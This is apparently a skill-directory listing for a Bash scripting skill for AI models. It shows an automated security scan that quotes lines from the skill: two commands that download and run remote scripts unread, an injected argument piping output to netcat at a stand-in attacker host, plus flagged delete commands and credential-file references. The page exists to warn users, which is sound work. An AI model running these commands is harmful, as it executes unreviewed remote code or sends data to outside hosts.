scripting-bash
Master defensive Bash scripting for production automation, CI/CD pipelines, and system utilities.
Connecting the steps of a workflow
What it does
You are an expert in defensive Bash scripting for production environments. Create safe, portable, and testable shell scripts following modern best practices.
Use when writing shell scripts, bash automation, CI/CD scripts, system utilities, or mentions "bash", "shell script", "automation",…
You don’t need to name it. Ask for the job in your own words — your AI loads the skill when the request matches.
What it can touch
No script files in its folder
Its folder holds text, not programs — but the instructions do tell your AI to run commands (see below).
How we know
Listed the 7 files in the skill’s folder on GitHub; none is a script or program.
Uses terminal commands
It shows your AI commands to run. In a coding agent that means your terminal; in a chat app it usually can’t.
How we know
The SKILL.md contains shell code blocks.
Downloads a script and runs it in one step, unread
Code run this way does whatever the other server sends at that moment — what you can read today is not necessarily what runs.
How we know
references/CICD.md line 476: “- bash <(curl -s https://codecov.io/bash)”. Read 2026-10-05, commit 8e1be1b.
references/CICD.md, line 476 ↗Downloads a script and runs it in one step, unread
Code run this way does whatever the other server sends at that moment — what you can read today is not necessarily what runs.
How we know
references/TESTING.md line 195: “curl -fsSL https://git.io/shellspec | sh”. Read 2026-10-05, commit 8e1be1b.
references/TESTING.md, line 195 ↗Its code sends data over the internet
A script in it uploads or posts data. That is normal for a skill that talks to a service — check that the address is the service you expect.
How we know
references/SECURITY.md line 600: “./script.sh "| nc attacker.com 1234"”. Read 2026-10-05, commit 8e1be1b.
references/SECURITY.md, line 600 ↗Asks for administrator rights
Some of its commands use sudo or "run as administrator". Those can change anything on your computer.
How we know
Seen in its code. Read 2026-10-05, commit 8e1be1b.
7 smaller things worth knowing
Contains commands that delete or overwrite; Refers to a credentials file (SSH keys, cloud logins, tokens); Collects all of your environment variables. Usually legitimate — listed so nothing is hidden.
How we know
Contains commands that delete or overwrite — EXAMPLES.md line 34; Contains commands that delete or overwrite — SKILL.md line 40; Contains commands that delete or overwrite — TROUBLESHOOTING.md line 47; Refers to a credentials file (SSH keys, cloud logins, tokens) — references/CICD.md line 585; Collects all of your environment variables — references/CICD.md line 660; Contains commands that delete or overwrite — references/SECURITY.md line 68. Read 2026-10-05, commit 8e1be1b.
EXAMPLES.md, line 34 ↗SKILL.md, line 40 ↗TROUBLESHOOTING.md, line 47 ↗references/CICD.md, line 585 ↗references/CICD.md, line 660 ↗references/SECURITY.md, line 68 ↗Recently maintained
Its repository has had changes recently.
How we know
Last push to joaquimscosta/arkhe-claude-plugins: 2026-08-14 (52 days before the scan).
Read automatically from the skill’s own files on GitHub on 5 Oct 2026. Launch7 does not run or manually review skills: this lists what the check saw, and nothing here means “safe”. How we check
Add it to your AI
Supported. Upload it once in Claude’s settings. Works on every plan, including Free.
Built in your browser from the SKILL.md on GitHub — nothing passes through Launch7.
In Claude, open Customize → Skills, press +, then Create skill → Upload a skill, and choose the .zip.
Make sure code execution is switched on (Settings → Capabilities). Skills need it.
Start a new chat and ask for the job in your own words — Claude picks the skill up when it fits.
How Claude does this: support.claude.com · checked 28 Sep 2026 · “Supported” means documented by the vendor; Launch7 has not run it end to end
More from joaquimscosta
All from this publisher →- browser-companion
Zero-dependency live-preview server providing an agent↔browser bidirectional companion.
- releasing
Automate semantic versioning releases with CHANGELOG validation, comparison link management, GitHub Actions workflow triggering, and monitoring.
- sdlc-develop
Orchestrates 6-phase SDLC pipeline (discovery, requirements, architecture, workstreams, implementation, summary) for guided feature development.
- skill-validator
Validate skills against Anthropic best practices for frontmatter, structure, content, file organization, hooks, MCP, and security (62 rules in 8…
- sops-setup
Set up SOPS + age encryption for sharing .env files securely across machines.
